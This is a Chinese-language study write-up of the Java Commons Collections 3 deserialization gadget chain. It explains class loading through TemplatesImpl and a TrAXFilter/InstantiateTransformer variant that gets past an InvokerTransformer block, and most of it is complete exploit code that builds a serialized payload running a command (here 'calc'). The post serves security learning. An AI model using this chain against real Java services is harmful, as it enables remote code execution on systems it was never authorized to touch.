JAVA反序列化CC3

参考:Java反序列化CommonsCollections篇(三)-另一种命令执行方式

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections3.java

环境搭建

同CC1

相关知识

假设Runtime 被过滤 是不是就没办法实现命令执行了呢?

我们可以利用JAVA的类加载机制实现任意代码执行

类加载的核心方法在于defineClass 它接收字节码并返回对应的类(此时还未加载)

再对获取到的类调用newInstance方法实现类加载和实例化

1
2
3
4
5
6
7
8
9
10
public class Test{
static { // 静态代码块 类加载时会被调用
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
// build后会在target文件夹下生成Test.class文件
1
2
3
4
5
6
7
8
9
10
public class LoadClassTest {
public static void main(String[] args) throws Exception {
ClassLoader cl = ClassLoader.getSystemClassLoader();
Method define_class_method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
define_class_method.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("E:\path\to\untitled\target\classes\Test.class"));
Class c = (Class) define_class_method.invoke(cl, code, 0, code.length);
c.newInstance(); // 类加载 成功弹出计算器
}
}

总结:需要一个构造一个类,静态代码块放目标执行代码;用defineClass和newInstance触发类加载

漏洞分析

InvokerTransformer没被过滤

0x1

首先寻找defineClass的调用处 这里用到TemplatesImpl.defineClass

1
2
3
4
// TemplatesImpl.defineClass  就是直接调用ClassLoader.defineClass
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}

接着追踪到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
private void defineTransletClasses() throws TransformerConfigurationException {
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}

TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});

try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];

if (classCount > 1) {
_auxClasses = new HashMap<>();
}

for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();

// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}

if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
}

可以看到23行调用了defineClass

注意点:

  • 10#_tfactory.getExternalExtensionsMap()_tfactory没有在先赋值,仍然为null 调用会报错 所以要通过反射获取Field对其赋值

  • 要绕过35行检测 否则会报错 也就是要通过27行判断使得_transletIndex被赋值 (它默认值就为-1)

    跟进可知String ABSTRACT_TRANSLET = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";

    也就是我们的目标类应该要继承这个类 来通过检测

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

    public class Test extends AbstractTranslet{
    static {
    try {
    Runtime.getRuntime().exec("calc");
    } catch (IOException e) {
    throw new RuntimeException(e);
    }
    }

    @Override // 这里要重写两个方法
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
    }

0x2

接着追踪defineTransletClasses的调用处 有三个地方 但是只有TemplatesImpl.getTransletInstance 中有调用newInstance 对我们有用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();

// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}

return translet;
}
}

同时要注意设置_nameField

0x3

之后追踪到TemplatesImpl.newTransformer

测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public class CC3Test {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class tc = TemplatesImpl.class;
Field bytecode = tc.getDeclaredField("_bytecodes");
bytecode.setAccessible(true);
byte[][] bytes = new byte[1][];
bytes[0] = Files.readAllBytes(Paths.get("E:\\path\\to\\untitled\\target\\classes\\Test.class"));
bytecode.set(templates, bytes); // 设置_bytecodes为目标类字节

Field name = tc.getDeclaredField("_name"); // 设置_name 有就可以
name.setAccessible(true);
name.set(templates, "gg");

TransformerFactoryImpl tfi = new TransformerFactoryImpl();
Field tfactory = tc.getDeclaredField("_tfactory"); // 设置_tfactory
tfactory.setAccessible(true);
tfactory.set(templates, tfi);

templates.newTransformer(); // 触发 成功弹出计算器

}
}

至此 我们相当于将之前的直接用Runtime执行命令替换成了类加载的模式 接下来就和之前的链条一样了 利用HashMap 和 ChainedTransformer来完成序列化利用

0x4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
public class CC3Test {
public static void main(String[] args) throws Exception {
/*
HashMap.readObject()
TiedMapEntry.hashCode()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.invoke()
TemplatesImpl.newTransformer()
defineClass();newInstance()
*/
TemplatesImpl templates = new TemplatesImpl();
Class tc = TemplatesImpl.class;
Field bytecode = tc.getDeclaredField("_bytecodes");
bytecode.setAccessible(true);
byte[][] bytes = new byte[1][];
bytes[0] = Files.readAllBytes(Paths.get("E:\\Study\\a_CTF\\Web\\java_unserialize\\untitled\\target\\classes\\Test.class"));
bytecode.set(templates, bytes);

Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "gg");

TransformerFactoryImpl tfi = new TransformerFactoryImpl();
Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, tfi);

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null, null),
});

HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");

HashMap<Object, Object> o = new HashMap<>();
o.put(tiedMapEntry, "bbb");
lazyMap.remove("aaa");

// serializeTest(o);
// unSerializeTest();
}
}

InvokerTransformer被过滤

0x1

InvokerTransformer被过滤 那我们看看哪里调用了TemplatesImpl.newTransformer() 跟踪到

1
2
3
4
5
6
7
8
public class TrAXFilter extends XMLFilterImpl {
public TrAXFilter(Templates templates) throws TransformerConfigurationException {
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}
}

可以看到直接传一个templates进去就会调用 newTransformer 但是它是不可序列化的(可以用TrAXFilter.class解决)

0x2

这里又用到 InstantiateTransformer.transform 因为它获取构造器并生成实例 正好是我们想要的

1
2
3
4
5
6
7
8
9
10
11
12
public class InstantiateTransformer implements Transformer, Serializable {
public Object transform(Object input) {
try {
if (input instanceof Class == false) {
throw new FunctorException(
"InstantiateTransformer: Input object was not an instanceof Class, it was a "
+ (input == null ? "null object" : input.getClass().getName()));
}
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);
}
}

测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public class CC3Test {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class tc = TemplatesImpl.class;
Field bytecode = tc.getDeclaredField("_bytecodes");
bytecode.setAccessible(true);
byte[][] bytes = new byte[1][];
bytes[0] = Files.readAllBytes(Paths.get("E:\\path\\to\\target\\classes\\Test.class"));
bytecode.set(templates, bytes);

Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "gg");

TransformerFactoryImpl tfi = new TransformerFactoryImpl();
Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, tfi);

InstantiateTransformer trans = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
trans.transform(TrAXFilter.class); // 成功弹出计算器
}
}

0x3

最后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
public class CC3Test {
public static void main(String[] args) throws Exception {
/*
HashMap.readObject()
TiedMapEntry.hashCode()
LazyMap.get()
ChainedTransformer.transform()
TrAXFilter(Constructor)
Templates.newTransformer()
defineClass();newInstance()
*/
TemplatesImpl templates = new TemplatesImpl();
Class tc = TemplatesImpl.class;
Field bytecode = tc.getDeclaredField("_bytecodes");
bytecode.setAccessible(true);
byte[][] bytes = new byte[1][];
bytes[0] = Files.readAllBytes(Paths.get("E:\\Study\\a_CTF\\Web\\java_unserialize\\untitled\\target\\classes\\Test.class"));
bytecode.set(templates, bytes);

Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "gg");

TransformerFactoryImpl tfi = new TransformerFactoryImpl();
Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, tfi);

InstantiateTransformer trans = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
trans
});

HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");

HashMap<Object, Object> o = new HashMap<>();
o.put(tiedMapEntry, "bbb");
lazyMap.remove("aaa");

serializeTest(o);
// unSerializeTest();
}
}
⬆︎TOP